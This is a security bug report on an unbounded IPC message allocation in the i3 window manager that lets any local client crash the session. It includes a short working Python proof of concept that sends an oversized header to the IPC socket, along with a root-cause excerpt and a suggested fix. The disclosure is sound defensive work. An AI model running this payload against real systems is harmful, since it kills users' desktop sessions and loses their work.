IPC: unbounded memory allocation via message size allows denial of service (CWE-770)

Description

The IPC message receive function ipc_recv_message in libi3/ipc_recv_message.c allocates memory for the payload using a 32‑bit size value supplied by the client, without any upper bound check. An attacker who can connect to the IPC socket (any X11 client on the same display, including SSH‑forwarded apps, Flatpaks, containers, etc.) can request a multi‑gigabyte allocation. On systems with memory limits (ulimit, cgroups, low RAM) this immediately crashes i3. Without limits, multiple such connections can exhaust system memory and freeze the session.

Debug log: https://logs.i3wm.org/logs/6265733713494016.bz2

Affected Version

i3 4.25 (commit 8f09b7f0), and likely all previous versions with the same IPC implementation.

Steps to Reproduce

1. Start i3 with a memory limit, e.g.:
   复制

   ulimit -v 524288

2. Connect to the IPC socket and send a header with size = 0x40000000 (1 GiB) and 1 byte of payload:
   python复制

   import struct, socket, os, glob
   s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
   s.connect(glob.glob(f'/run/user/{os.getuid()}/i3/ipc-socket.*')[0])
   s.sendall(b'i3-ipc' + struct.pack('<II', 0x40000000, 0) + b'\x00')
   s.close()

3. i3 tries to allocate 1 GiB, fails, and terminates.

Observed Result

i3 prints i3: malloc(1073741824): Cannot allocate memory and exits, killing the entire window manager session.

Root Cause

libi3/ipc_recv_message.c contains:

*reply = smalloc(*reply_length);

smalloc is a wrapper that calls exit(EXIT_FAILURE) when malloc returns NULL. No maximum size is enforced before the allocation.

Suggested Fix

Add a reasonable maximum message size before the allocation:

#define MAX_IPC_MESSAGE_SIZE (128 * 1024 * 1024)  /* 128 MiB */
if (*reply_length > MAX_IPC_MESSAGE_SIZE) {
    ELOG("IPC: message too large (%" PRIu32 " bytes)\n", *reply_length);
    return -3;
}

Impact

• Denial of Service – the entire i3 session terminates, all managed windows are lost, user is returned to the display manager.
• Remote Exploitation – any X11 client with access to the IPC socket can trigger the bug (SSH X forwarding, malicious Flatpak/Snap, Docker containers with X socket access).
• No authentication – the IPC socket is world‑accessible within the user session (mode srwxrwxr-x).